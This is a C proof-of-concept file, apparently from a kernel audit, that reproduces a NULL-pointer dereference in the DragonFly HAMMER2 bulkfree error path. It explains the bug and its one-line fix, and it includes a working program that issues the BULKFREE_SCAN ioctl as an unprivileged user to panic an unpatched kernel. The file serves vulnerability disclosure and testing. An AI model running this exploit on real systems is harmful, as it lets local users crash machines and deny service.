DF-0817 / df0817.c
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 | /* * DF-0817 — NULL deref in h2_bulkfree_sync freemap lookup error path * * Claim (sys/vfs/hammer2/hammer2_bulkfree.c:1046-1051): * h2_bulkfree_sync() calls hammer2_chain_lookup(&live_parent, ..., &error, * HAMMER2_LOOKUP_ALWAYS). When ANY FREEMAP_NODE in the descent path has a * CRC/I/O error, hammer2_chain_lookup() returns NULL with *errorp set * (sys/vfs/hammer2/hammer2_chain.c:2473-2476): * * if (parent->error) { * *errorp = parent->error; * return NULL; * } * * Back in h2_bulkfree_sync(): * * live_chain = hammer2_chain_lookup(&live_parent, ..., &error, * HAMMER2_LOOKUP_ALWAYS); * if (error) { * kprintf("hammer2_bulkfree: freemap lookup error near %016jx, " * "error %s\n", * (intmax_t)data_off, * hammer2_error_str(live_chain->error)); <-- NULL DEREF * break; * } * * live_chain is NULL but the code dereferences live_chain->error => page * fault at &NULL + offsetof(hammer2_chain_t, error) => kernel panic. * * Line 1054 `if (live_chain == NULL)` immediately after proves the * developer knew NULL was possible. The fix is to use the local `error` * variable instead of `live_chain->error`. * * Trigger path on the audit guest: * 1. (root) prepare a hammer2 image with a populated freemap tree that has * at least one FREEMAP_NODE level (>= ~5 GB), then corrupt the * FREEMAP_NODE block's data CRC on the raw device, then mount it * read-only at /mnt/h2t . * 2. (unprivileged) hold any fd on the mount and issue HAMMER2IOC_BULKFREE_SCAN. * Per DF-0815, hammer2_ioctl() at hammer2_ioctl.c:144-145 does NOT guard * this case with `if (error == 0)` after the privilege check, so an * unprivileged user reaches hammer2_ioctl_bulkfree_scan() directly. * 3. The bulkfree pass walks the freemap; the lookup of the corrupted * FREEMAP_NODE returns NULL with *errorp set; line 1050 dereferences * NULL+offsetof(error) => fatal trap 12, kernel panic. * * Build: cc -o df0817 df0817.c * Run: ./df0817 /mnt/h2t (as unprivileged user; mount is set up by root) * * Expected (BUG present, unpatched #0): * prints "[-] BUG present: ..." then the kernel panics in the background. * Serial log shows: * Fatal trap 12: page fault while in kernel mode * ... * fault virtual address = 0x<offsetof hammer2_chain_t.error> * ... * Stopped at hammer2_bulkfree_sync+0x... or hammer2_error_str+0x... * * Expected (FIXED): * prints the kprintf message via dmesg ("freemap lookup error near ...") * but does NOT panic; the bulkfree scan returns EIO cleanly to the caller. * * SAFETY NOTE on trigger setup * The image preparation (vnconfig / newfs_hammer2 / file writes / corrupt / * mount) is performed by root as part of mounting a filesystem — a normal * admin operation. The ATTACK surface is the BULKFREE_SCAN ioctl, which on * the audit guest is reachable by an unprivileged user (DF-0815). This PoC * only issues the ioctl; the root-side setup script (setup_image.sh) is * included for reproducibility. */ #include <sys/types.h> #include <sys/ioccom.h> #include <errno.h> #include <fcntl.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <err.h> /* Mirror sys/vfs/hammer2/hammer2_ioctl.h. The _IOWR macro encodes * sizeof(arg-type) into the ioctl number, so we MUST use the real 64-byte * struct layout or the number won't match and the kernel returns the default * case (no handler). */ struct hammer2_ioc_bulkfree { unsigned long sbase; /* hammer2_off_t */ unsigned long sstop; unsigned long size; /* size_t */ unsigned long count_allocated; unsigned long count_freed; unsigned long total_fragmented; unsigned long total_allocated; unsigned long total_scanned; }; /* 8 * 8 = 64 bytes */ #define HAMMER2_IOC_BULKFREE_SCAN _IOWR('h', 92, struct hammer2_ioc_bulkfree) int main(int argc, char **argv) { const char *path = (argc > 1) ? argv[1] : "/mnt/h2t"; int fd, rc; struct hammer2_ioc_bulkfree bf; printf("[*] uid=%d euid=%d opening '%s' on hammer2 mount\n", getuid(), geteuid(), path); fd = open(path, O_RDONLY); if (fd < 0) err(1, "open %s", path); /* * BULKFREE_SCAN with sbase=sstop=0 => hammer2_ioctl_bulkfree_scan * computes the full-media range. Per DF-0815 the privilege check on * this case is bypassed, so we reach hammer2_bulkfree_pass() and the * corrupted freemap triggers the NULL deref. */ memset(&bf, 0, sizeof(bf)); bf.size = 0; /* default kernel memory budget */ printf("[*] issuing HAMMER2IOC_BULKFREE_SCAN " "(expect: kernel panic on unpatched #0, clean EIO on patched)\n"); errno = 0; rc = ioctl(fd, HAMMER2_IOC_BULKFREE_SCAN, &bf); /* * BUG: on the unpatched kernel the guest PANICS before the ioctl * returns, so this process is killed by the kernel going down and we * never see the printf below. If you DO see the printf, either the * fix is in (EIO expected) or the bulkfree scan did not visit the * corrupted freemap range. */ printf("[BULKFREE_SCAN] ioctl rc=%d errno=%d (%s)\n", rc, errno, errno ? strerror(errno) : "success"); if (rc == 0) { printf(" scanned=%lu allocated=%lu freed=%lu\n", bf.total_scanned, bf.count_allocated, bf.count_freed); } close(fd); return (rc == 0) ? 0 : 1; } |